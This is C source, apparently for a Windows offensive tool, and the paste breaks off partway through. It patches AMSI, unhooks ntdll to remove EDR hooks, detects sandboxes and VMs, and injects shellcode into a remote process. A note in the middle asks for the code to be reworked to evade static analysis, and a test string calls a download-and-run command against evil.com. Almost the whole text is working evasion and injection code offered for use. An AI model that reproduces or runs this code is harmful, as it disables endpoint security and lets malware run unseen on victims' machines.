printf("[+] Web server time delta: %dms (expected ~2000ms)\n", g_anti_ctx.time_delta);
// If time delta is way off, sandbox is manipulating time
if (g_anti_ctx.time_delta < 1500 || g_anti_ctx.time_delta > 3000) {
printf("[!] Time manipulation detected (web server check)\n");
g_anti_ctx.is_sandbox = TRUE;
}
} else {
printf("[-] Failed to get second web time, falling back to local check\n");
useWebTime = FALSE;
}
}
if (!useWebTime) {
printf("[*] Using local time check (less reliable)\n");
DWORD start_time = GetTickCount();
Sleep(100);
DWORD end_time = GetTickCount();
g_anti_ctx.time_delta = end_time - start_time;
printf("[*] Local time delta: %dms (expected ~100ms)\n", g_anti_ctx.time_delta);
}
printf("\n[*] Anti-analysis results:\n");
printf(" Debugger: %s\n", g_anti_ctx.is_debugged ? "DETECTED" : "Not detected");
printf(" Sandbox: %s\n", g_anti_ctx.is_sandbox ? "DETECTED" : "Not detected");
printf(" VM: %s\n", g_anti_ctx.is_vm ? "DETECTED" : "Not detected");
printf(" Time check: %s\n", useWebTime ? "Web server (reliable)" : "Local (unreliable)");
if (g_anti_ctx.is_debugged || g_anti_ctx.is_sandbox || g_anti_ctx.is_vm) {
printf("[!] Analysis environment detected - exiting for safety\n");
printf("[*] Use --no-checks flag to bypass this protection\n");
ExitProcess(0);
}
}
DWORD GetSyscallNumber(const WCHAR* function_name) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return 0;
// Convert wide string to ANSI for GetProcAddress
char function_name_ansi[256];
WideCharToMultiByte(CP_ACP, 0, function_name, -1, function_name_ansi, sizeof(function_name_ansi), NULL, NULL);
BYTE* function_addr = (BYTE*)GetProcAddress(ntdll, function_name_ansi);
if (!function_addr) return 0;
for (int i = 0; i < 20; i++) {
if (function_addr[i] == 0x48 && function_addr[i+1] == 0xB8) {
return *(DWORD*)&function_addr[i+2];
}
}
return 0;
}
PVOID GetIndirectSyscallStub(const WCHAR* function_name) {
PVOID stub = VirtualAlloc(NULL, 0x20, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!stub) return NULL;
DWORD syscall_num = GetSyscallNumber(function_name);
if (syscall_num == 0) {
VirtualFree(stub, 0, MEM_RELEASE);
return NULL;
}
BYTE* code = (BYTE*)stub;
*code++ = 0x48; *code++ = 0xB8; // mov rax, imm64
*(DWORD*)code = syscall_num; code += 4;
*code++ = 0x00; *code++ = 0x00; *code++ = 0x00; *code++ = 0x00;
*code++ = 0x0F; *code++ = 0x05; // syscall
*code++ = 0xC3; // ret
return stub;
}
BOOL UnhookNtdll() {
WCHAR ntdll_path[MAX_PATH];
GetSystemDirectoryW(ntdll_path, MAX_PATH);
wcscat_s(ntdll_path, MAX_PATH, L"\\ntdll.dll");
HANDLE hFile = CreateFileW(ntdll_path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD file_size = GetFileSize(hFile, NULL);
BYTE* file_data = HeapAlloc(GetProcessHeap(), 0, file_size);
if (!file_data) {
CloseHandle(hFile);
return FALSE;
}
DWORD bytes_read;
if (!ReadFile(hFile, file_data, file_size, &bytes_read, NULL)) {
HeapFree(GetProcessHeap(), 0, file_data);
CloseHandle(hFile);
return FALSE;
}
CloseHandle(hFile);
PIMAGE_DOS_HEADER dos_hdr = (PIMAGE_DOS_HEADER)file_data;
PIMAGE_NT_HEADERS nt_hdr = (PIMAGE_NT_HEADERS)(file_data + dos_hdr->e_lfanew);
HMODULE ntdll_base = GetModuleHandleW(L"ntdll.dll");
PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)(nt_hdr + 1);
for (int i = 0; i < nt_hdr->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)sections[i].Name, ".text") == 0) {
BYTE* loaded_text = (BYTE*)ntdll_base + sections[i].VirtualAddress;
BYTE* disk_text = file_data + sections[i].PointerToRawData;
DWORD old_protect;
VirtualProtect(loaded_text, sections[i].SizeOfRawData,
PAGE_EXECUTE_READWRITE, &old_protect);
memcpy(loaded_text, disk_text, sections[i].SizeOfRawData);
VirtualProtect(loaded_text, sections[i].SizeOfRawData,
old_protect, &old_protect);
break;
}
}
HeapFree(GetProcessHeap(), 0, file_data);
return TRUE;
}
BOOL UnhookNtdllFromKnownDlls() {
printf("[*] Attempting KnownDlls unhooking method...\n");
HANDLE hSection = NULL;
PVOID pCleanNtdll = NULL;
SIZE_T viewSize = 0;
// NT API function pointers
typedef NTSTATUS (NTAPI *NtOpenSection_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
typedef NTSTATUS (NTAPI *NtMapViewOfSection_t)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef NTSTATUS (NTAPI *NtUnmapViewOfSection_t)(HANDLE, PVOID);
typedef VOID (NTAPI *RtlInitUnicodeString_t)(PUNICODE_STRING, PCWSTR);
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return FALSE;
NtOpenSection_t pNtOpenSection = (NtOpenSection_t)GetProcAddress(ntdll, "NtOpenSection");
NtMapViewOfSection_t pNtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdll, "NtMapViewOfSection");
NtUnmapViewOfSection_t pNtUnmapViewOfSection = (NtUnmapViewOfSection_t)GetProcAddress(ntdll, "NtUnmapViewOfSection");
RtlInitUnicodeString_t pRtlInitUnicodeString = (RtlInitUnicodeString_t)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (!pNtOpenSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pRtlInitUnicodeString) {
printf("[-] Failed to get NT API functions\n");
return FALSE;
}
// Open the KnownDlls section object
UNICODE_STRING sectionName;
pRtlInitUnicodeString(§ionName, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = pNtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);
if (status != 0) {
printf("[-] NtOpenSection failed: 0x%X\n", status);
return FALSE;
}
printf("[+] Opened KnownDlls\\ntdll.dll section\n");
// Map the clean ntdll into our process
status = pNtMapViewOfSection(hSection, GetCurrentProcess(), &pCleanNtdll,
0, 0, NULL, &viewSize, 1, 0, PAGE_READONLY);
if (status != 0) {
printf("[-] NtMapViewOfSection failed: 0x%X\n", status);
CloseHandle(hSection);
return FALSE;
}
printf("[+] Mapped clean ntdll at: 0x%p\n", pCleanNtdll);
// Copy .text section from clean ntdll to hooked ntdll
HMODULE hookedNtdll = GetModuleHandleW(L"ntdll.dll");
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)pCleanNtdll;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)pCleanNtdll + dosHdr->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHdr);
for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)sections[i].Name, ".text") == 0) {
DWORD oldProtect;
BYTE* dest = (BYTE*)hookedNtdll + sections[i].VirtualAddress;
BYTE* src = (BYTE*)pCleanNtdll + sections[i].VirtualAddress;
VirtualProtect(dest, sections[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(dest, src, sections[i].Misc.VirtualSize);
VirtualProtect(dest, sections[i].Misc.VirtualSize, oldProtect, &oldProtect);
printf("[+] Restored .text section (%d bytes)\n", sections[i].Misc.VirtualSize);
break;
}
}
pNtUnmapViewOfSection(GetCurrentProcess(), pCleanNtdll);
CloseHandle(hSection);
printf("[+] KnownDlls unhooking complete\n");
return TRUE;
}
BOOL UnhookNtdllFromSuspendedProcess() {
printf("[*] Attempting suspended process unhooking method...\n");
// Create a suspended process (any legitimate Windows binary)
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (!CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] Failed to create suspended process: %d\n", GetLastError());
return FALSE;
}
printf("[+] Created suspended process (PID: %d)\n", pi.dwProcessId);
// Get ntdll base address in our process
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
// Read the clean ntdll from suspended process memory
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dosHdr->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(ntHdr);
BOOL success = FALSE;
for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)sections[i].Name, ".text") == 0) {
BYTE* cleanText = (BYTE*)malloc(sections[i].Misc.VirtualSize);
if (!cleanText) break;
SIZE_T bytesRead;
// Read clean .text section from suspended process
BYTE* remoteAddr = (BYTE*)hNtdll + sections[i].VirtualAddress;
if (ReadProcessMemory(pi.hProcess, remoteAddr, cleanText,
sections[i].Misc.VirtualSize, &bytesRead)) {
printf("[+] Read %zu bytes from suspended process\n", bytesRead);
// Write to our hooked ntdll
DWORD oldProtect;
BYTE* localAddr = (BYTE*)hNtdll + sections[i].VirtualAddress;
VirtualProtect(localAddr, sections[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(localAddr, cleanText, sections[i].Misc.VirtualSize);
VirtualProtect(localAddr, sections[i].Misc.VirtualSize,
oldProtect, &oldProtect);
printf("[+] Restored .text section from clean copy\n");
success = TRUE;
} else {
printf("[-] ReadProcessMemory failed: %d\n", GetLastError());
}
free(cleanText);
break;
}
}
// Clean up - terminate the suspended process
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
if (success) {
printf("[+] Suspended process unhooking complete\n");
}
return success;
}
LONG CALLBACK HardwareBypassHandler(EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)g_hwbp_ctx.original_amsi_addr) {
ExceptionInfo->ContextRecord->Rax = 0x80070057; // E_INVALIDARG
ExceptionInfo->ContextRecord->Rip += 3; // Skip original instruction
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL SetHardwareBreakpointBypass() {
HMODULE amsi = LoadLibraryW(L"amsi.dll");
if (!amsi) {
printf("[-] Failed to load amsi.dll\n");
return FALSE;
}
PVOID amsi_scan = GetProcAddress(amsi, "AmsiScanBuffer");
if (!amsi_scan) {
printf("[-] Failed to get AmsiScanBuffer address\n");
return FALSE;
}
printf("[*] AmsiScanBuffer address: 0x%p\n", amsi_scan);
g_hwbp_ctx.original_amsi_addr = (DWORD64)amsi_scan;
g_hwbp_ctx.thread_handle = GetCurrentThread();
g_hwbp_ctx.ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(g_hwbp_ctx.thread_handle, &g_hwbp_ctx.ctx)) {
printf("[-] GetThreadContext failed: %d\n", GetLastError());
return FALSE;
}
g_hwbp_ctx.ctx.Dr0 = (DWORD64)amsi_scan;
g_hwbp_ctx.ctx.Dr7 = (1 << 0) | (3 << 16); // Enable DR0, execute breakpoint
if (!SetThreadContext(g_hwbp_ctx.thread_handle, &g_hwbp_ctx.ctx)) {
printf("[-] SetThreadContext failed: %d\n", GetLastError());
return FALSE;
}
if (!AddVectoredExceptionHandler(1, HardwareBypassHandler)) {
printf("[-] AddVectoredExceptionHandler failed\n");
return FALSE;
}
printf("[+] Hardware breakpoint set at 0x%p\n", amsi_scan);
return TRUE;
}
BOOL BypassAmsiAdvanced() {
printf("[*] Initializing anti-analysis checks...\n");
InitializeAntiAnalysis();
printf("[*] Unhooking ntdll to remove EDR hooks...\n");
BOOL unhook_success = FALSE;
// Method 1: Suspended process
if (UnhookNtdllFromSuspendedProcess()) {
unhook_success = TRUE;
printf("[+] Used suspended process method\n");
}
// Method 2: KnownDlls
else if (UnhookNtdllFromKnownDlls()) {
unhook_success = TRUE;
printf("[+] Used KnownDlls method\n");
}
// Method 3: Disk read
else if (UnhookNtdll()) {
unhook_success = TRUE;
printf("[+] Used disk read method (fallback)\n");
}
if (!unhook_success) {
printf("[-] All unhooking methods failed\n");
return FALSE;
}
printf("[+] Ntdll unhooking complete\n");
// Get AMSI function address
HMODULE amsi = LoadLibraryW(L"amsi.dll");
if (!amsi) {
printf("[-] Failed to load amsi.dll\n");
return FALSE;
}
PVOID amsi_scan = GetProcAddress(amsi, "AmsiScanBuffer");
if (!amsi_scan) {
printf("[-] Failed to get AmsiScanBuffer\n");
return FALSE;
}
printf("[*] AmsiScanBuffer at: 0x%p\n", amsi_scan);
// Try direct memory patch first (more reliable on modern Windows)
printf("[*] Attempting direct memory patch...\n");
DWORD old_protect;
if (VirtualProtect(amsi_scan, 16, PAGE_EXECUTE_READWRITE, &old_protect)) {
// Save original bytes
memcpy(g_hwbp_ctx.original_bytes, amsi_scan, 16);
// Patch: mov eax, 0x80070057; ret (E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy(amsi_scan, patch, sizeof(patch));
VirtualProtect(amsi_scan, 16, old_protect, &old_protect);
printf("[+] Memory patch applied successfully\n");
g_bypass_active = TRUE;
printf("[+] AMSI bypass activated successfully\n");
return TRUE;
} else {
printf("[-] VirtualProtect failed: %d\n", GetLastError());
printf("[*] Trying hardware breakpoint method as fallback...\n");
// Fallback to hardware breakpoint (less reliable on modern Windows)
if (SetHardwareBreakpointBypass()) {
g_bypass_active = TRUE;
printf("[+] AMSI bypass activated successfully (hardware breakpoint)\n");
return TRUE;
} else {
printf("[-] All AMSI bypass methods failed\n");
return FALSE;
}
}
}
VOID TestAmsiBypass() {
printf("[*] Testing AMSI bypass with actual AMSI scan...\n");
// Load amsi.dll and get function pointers
HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
if (!hAmsi) {
printf("[-] Failed to load amsi.dll\n");
return;
}
// Function prototypes
typedef HRESULT (WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef HRESULT (WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(hAmsi, "AmsiInitialize");
AmsiScanBuffer_t pAmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(hAmsi, "AmsiScanBuffer");
AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(hAmsi, "AmsiUninitialize");
if (!pAmsiInitialize || !pAmsiScanBuffer || !pAmsiUninitialize) {
printf("[-] Failed to get AMSI function pointers\n");
return;
}
// Initialize AMSI
HAMSICONTEXT amsiContext = NULL;
HRESULT hr = pAmsiInitialize(L"AMSIBypassTest", &amsiContext);
if (FAILED(hr)) {
printf("[-] AmsiInitialize failed: 0x%08X\n", hr);
return;
}
// Test with known malicious string (EICAR-like for AMSI)
const char* malicious_script = "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')";
printf("[*] Scanning malicious PowerShell command...\n");
printf(" Test string: %s\n", malicious_script);
AMSI_RESULT scanResult = AMSI_RESULT_CLEAN;
hr = pAmsiScanBuffer(amsiContext, (PVOID)malicious_script, (ULONG)strlen(malicious_script),
L"PowerShellScript", NULL, &scanResult);
printf("\n[*] AMSI Scan Results:\n");
printf(" HRESULT: 0x%08X ", hr);
BOOL bypass_working = FALSE;
if (hr == 0x80070057) { // E_INVALIDARG - our bypass return value
printf("(E_INVALIDARG - BYPASS SUCCESSFUL!)\n");
printf(" [+] AMSI returned E_INVALIDARG - bypass is working!\n");
printf(" [+] Malicious content would NOT be blocked\n");
bypass_working = TRUE;
} else if (SUCCEEDED(hr)) {
printf("(Success)\n");
printf(" Scan Result: ");
switch (scanResult) {
case AMSI_RESULT_CLEAN:
printf("CLEAN (0) - Bypass may be working\n");
bypass_working = TRUE;
break;
case AMSI_RESULT_NOT_DETECTED:
printf("NOT_DETECTED (1) - Bypass may be working\n");
bypass_working = TRUE;
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
printf("BLOCKED_BY_ADMIN (%d) - Admin policy blocking\n", scanResult);
break;
case AMSI_RESULT_DETECTED:
printf("DETECTED (32768) - BYPASS FAILED!\n");
printf(" [!] AMSI is still active and detecting malicious content\n");
break;
default:
printf("%d\n", scanResult);
}
} else {
printf("(Failed)\n");
printf(" [!] AMSI scan failed with error\n");
}
// Test with AMSI test sample (guaranteed to trigger detection if AMSI is active)
const char* amsi_test_sample = "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386";
printf("\n[*] Scanning AMSI test sample (should always detect if AMSI active)...\n");
scanResult = AMSI_RESULT_CLEAN;
hr = pAmsiScanBuffer(amsiContext, (PVOID)amsi_test_sample, (ULONG)strlen(amsi_test_sample),
L"AMSITestSample", NULL, &scanResult);
printf(" HRESULT: 0x%08X ", hr);
if (hr == 0x80070057) {
printf("(E_INVALIDARG - BYPASS CONFIRMED!)\n");
printf(" [+] Even AMSI test sample bypassed - bypass is definitely working!\n");
g_bypass_active = TRUE;
} else if (SUCCEEDED(hr)) {
printf("(Success)\n");
if (scanResult >= AMSI_RESULT_DETECTED) {
printf(" Result: DETECTED - BYPASS FAILED!\n");
printf(" [!] AMSI is still active\n");
g_bypass_active = FALSE;
} else {
printf(" Result: %d - Bypass may be working\n", scanResult);
if (bypass_working) {
g_bypass_active = TRUE;
}
}
} else {
printf(" HRESULT indicates failure\n");
g_bypass_active = FALSE;
}
pAmsiUninitialize(amsiContext);
printf("\n");
}
int main(int argc, char* argv[]) {
printf("=== AMSI Bypass ===\n");
printf("Multi-stage bypass with anti-analysis protection\n\n");
// Parse command-line arguments
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--no-checks") == 0 || strcmp(argv[i], "-n") == 0) {
g_skip_anti_analysis = TRUE;
printf("[*] Anti-analysis checks disabled\n");
} else if (strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) {
printf("Usage: %s [options]\n", argv[0]);
printf("Options:\n");
printf(" --no-checks, -n Skip anti-analysis checks (for VMs/testing)\n");
printf(" --help, -h Show this help message\n");
return 0;
}
}
printf("\n");
if (BypassAmsiAdvanced()) {
TestAmsiBypass();
// Only show success messages if bypass actually worked
if (g_bypass_active) {
printf("\n=== BYPASS SUCCESSFUL ===\n");
printf("[*] Bypass techniques used:\n");
printf(" - Anti-analysis (debugger/sandbox/VM detection)%s\n",
g_skip_anti_analysis ? " [SKIPPED]" : "");
printf(" - Ntdll unhooking to remove EDR instrumentation\n");
printf(" - Hardware breakpoint bypass (stealth)\n");
printf(" - Fallback memory patch with E_INVALIDARG\n");
printf("\n[+] Ready for malicious script execution\n");
} else {
printf("\n=== BYPASS FAILED ===\n");
printf("[-] AMSI is still active and blocking malicious content\n");
printf("[-] The bypass techniques did not successfully disable AMSI\n");
printf("\n[*] Possible reasons:\n");
printf(" - Windows Defender or EDR detected and blocked the bypass\n");
printf(" - Memory protection prevented patching\n");
printf(" - AMSI has additional protections in this environment\n");
printf(" - Hardware breakpoint was cleared by security software\n");
}
} else {
printf("[-] AMSI bypass initialization failed\n");
return 1;
}
if (g_hwbp_ctx.thread_handle) {
RemoveVectoredExceptionHandler(HardwareBypassHandler);
}
return 0;
}
the c file gets flagged, but binary works(as a task try to evade detection from static code analysis)
// amsi_native_bypass.c
// Compile: cl /O2 /GS- src\amsi_native_bypass.c /Fe:bin\amsi_bypass.exe ntdll.lib advapi32.lib
#include <windows.h>
#include <stdio.h>
#include <amsi.h>
#include <tlhelp32.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "amsi.lib")
// XOR key for obfuscation
#define XOR_KEY 0xAA
// NT API declarations
typedef NTSTATUS (NTAPI *NtProtectVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewProtect,
PULONG OldProtect
);
// Find syscall instruction in ntdll
PVOID FindSyscallInstruction() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) return NULL;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ntdll + dos->e_lfanew);
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
// Find .text section
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sections[i].Name, ".text", 5) == 0) {
BYTE* start = (BYTE*)ntdll + sections[i].VirtualAddress;
DWORD size = sections[i].Misc.VirtualSize;
// Search for syscall instruction (0x0F 0x05)
for (DWORD j = 0; j < size - 1; j++) {
if (start[j] == 0x0F && start[j + 1] == 0x05) {
printf("[+] Found syscall instruction at: 0x%p\n", &start[j]);
return &start[j];
}
}
}
}
return NULL;
}
// Extract syscall number from function
DWORD GetSyscallNumber(PVOID function_address) {
BYTE* func = (BYTE*)function_address;
// Pattern: mov r10, rcx; mov eax, <syscall_number>
// Bytes: 4C 8B D1 B8 XX XX XX XX
for (int i = 0; i < 32; i++) {
if (func[i] == 0xB8) { // mov eax, imm32
return *(DWORD*)&func[i + 1];
}
}
return 0;
}
// Patch AMSI using NT API (more evasive than VirtualProtect)
BOOL PatchAmsiWithNtAPI() {
printf("[*] Patching AMSI using NtProtectVirtualMemory...\n");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) {
printf("[-] Failed to get ntdll handle\n");
return FALSE;
}
NtProtectVirtualMemory_t pNtProtectVirtualMemory =
(NtProtectVirtualMemory_t)GetProcAddress(ntdll, "NtProtectVirtualMemory");
if (!pNtProtectVirtualMemory) {
printf("[-] Failed to get NtProtectVirtualMemory\n");
return FALSE;
}
DWORD ssn = GetSyscallNumber(pNtProtectVirtualMemory);
if (ssn) {
printf("[+] NtProtectVirtualMemory SSN: 0x%X\n", ssn);
}
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) {
printf("[-] Failed to load amsi.dll\n");
return FALSE;
}
PVOID amsi_scan_buffer = GetProcAddress(amsi, "AmsiScanBuffer");
if (!amsi_scan_buffer) {
printf("[-] Failed to get AmsiScanBuffer\n");
return FALSE;
}
printf("[+] AmsiScanBuffer at: 0x%p\n", amsi_scan_buffer);
// Patch bytes: mov eax, 0x80070057 (E_INVALIDARG); ret
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
SIZE_T region_size = sizeof(patch);
PVOID base_address = amsi_scan_buffer;
ULONG old_protect = 0;
// Use NtProtectVirtualMemory instead of VirtualProtect
HANDLE current_process = (HANDLE)-1;
NTSTATUS status = pNtProtectVirtualMemory(
current_process,
&base_address,
®ion_size,
PAGE_EXECUTE_READWRITE,
&old_protect
);
if (status != 0) {
printf("[-] NtProtectVirtualMemory failed: 0x%X\n", status);
return FALSE;
}
printf("[+] Memory protection changed to RWX\n");
// Write patch
memcpy(amsi_scan_buffer, patch, sizeof(patch));
printf("[+] Patch written\n");
// Restore protection
status = pNtProtectVirtualMemory(
current_process,
&base_address,
®ion_size,
old_protect,
&old_protect
);
if (status == 0) {
printf("[+] Memory protection restored\n");
}
return TRUE;
}
// Alternative: Patch via direct memory write (simpler)
BOOL PatchAmsiDirect() {
printf("[*] Attempting direct AMSI patch...\n");
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) return FALSE;
PVOID amsi_scan_buffer = GetProcAddress(amsi, "AmsiScanBuffer");
if (!amsi_scan_buffer) return FALSE;
printf("[+] AmsiScanBuffer at: 0x%p\n", amsi_scan_buffer);
DWORD old_protect;
if (!VirtualProtect(amsi_scan_buffer, 16, PAGE_EXECUTE_READWRITE, &old_protect)) {
printf("[-] VirtualProtect failed: %d\n", GetLastError());
return FALSE;
}
// Patch: mov eax, 0x80070057; ret
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy(amsi_scan_buffer, patch, sizeof(patch));
VirtualProtect(amsi_scan_buffer, 16, old_protect, &old_protect);
printf("[+] Direct patch applied\n");
return TRUE;
}
// Test if AMSI is bypassed
BOOL TestAmsiBypass() {
printf("\n[*] Testing AMSI bypass...\n");
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) {
printf("[-] Failed to load amsi.dll\n");
return FALSE;
}
typedef HRESULT (WINAPI* AmsiInitialize_t)(LPCWSTR, HAMSICONTEXT*);
typedef HRESULT (WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT, PVOID, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT*);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT);
AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
AmsiScanBuffer_t pAmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsi, "AmsiUninitialize");
if (!pAmsiInitialize || !pAmsiScanBuffer) {
printf("[-] Failed to get AMSI functions\n");
return FALSE;
}
HAMSICONTEXT ctx = NULL;
HRESULT hr = pAmsiInitialize(L"TestApp", &ctx);
if (FAILED(hr)) {
printf("[-] AmsiInitialize failed: 0x%X\n", hr);
return FALSE;
}
// Test with AMSI test sample
const char* test_sample = "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386";
AMSI_RESULT result = AMSI_RESULT_CLEAN;
hr = pAmsiScanBuffer(ctx, (PVOID)test_sample, (ULONG)strlen(test_sample),
L"TestSample", NULL, &result);
printf("[*] AmsiScanBuffer returned: 0x%X\n", hr);
printf("[*] Scan result: %d\n", result);
if (hr == 0x80070057) { // E_INVALIDARG
printf("[+] BYPASS SUCCESSFUL - AMSI returned E_INVALIDARG\n");
pAmsiUninitialize(ctx);
return TRUE;
} else if (result >= AMSI_RESULT_DETECTED) {
printf("[-] BYPASS FAILED - AMSI detected malicious content\n");
pAmsiUninitialize(ctx);
return FALSE;
} else {
printf("[+] BYPASS SUCCESSFUL - Content not detected\n");
pAmsiUninitialize(ctx);
return TRUE;
}
}
// Find process ID by name
DWORD FindProcessByName(const char* process_name) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create process snapshot\n");
return 0;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(snapshot, &pe32)) {
CloseHandle(snapshot);
return 0;
}
DWORD pid = 0;
do {
if (_stricmp(pe32.szExeFile, process_name) == 0) {
pid = pe32.th32ProcessID;
printf("[+] Found %s with PID: %d\n", process_name, pid);
break;
}
} while (Process32Next(snapshot, &pe32));
CloseHandle(snapshot);
return pid;
}
// Convert hex string to bytes
unsigned char* HexToBytes(const char* hex_string, size_t* out_len) {
size_t len = strlen(hex_string);
if (len % 2 != 0) {
printf("[-] Invalid hex string (odd length)\n");
return NULL;
}
size_t byte_len = len / 2;
unsigned char* bytes = (unsigned char*)malloc(byte_len);
if (!bytes) {
printf("[-] Memory allocation failed\n");
return NULL;
}
for (size_t i = 0; i < byte_len; i++) {
char byte_str[3] = { hex_string[i * 2], hex_string[i * 2 + 1], '\0' };
bytes[i] = (unsigned char)strtol(byte_str, NULL, 16);
}
*out_len = byte_len;
return bytes;
}
// Inject shellcode into target process
BOOL InjectPayload(DWORD pid, unsigned char* payload, size_t payload_size) {
printf("\n[*] Injecting payload into PID %d...\n", pid);
printf("[+] Payload size: %zu bytes\n", payload_size);
// Open target process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) {
printf("[-] Failed to open process: %d\n", GetLastError());
return FALSE;
}
printf("[+] Process handle obtained\n");
// Allocate memory in target
PVOID remoteBuf = VirtualAllocEx(hProc, NULL, payload_size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteBuf) {
printf("[-] VirtualAllocEx failed: %d\n", GetLastError());
CloseHandle(hProc);
return FALSE;
}
printf("[+] Allocated memory at: 0x%p\n", remoteBuf);
// Write payload
SIZE_T written = 0;
if (!WriteProcessMemory(hProc, remoteBuf, payload, payload_size, &written)) {
printf("[-] WriteProcessMemory failed: %d\n", GetLastError());
VirtualFreeEx(hProc, remoteBuf, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Wrote %zu bytes\n", written);
// Execute via remote thread
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuf,
NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %d\n", GetLastError());
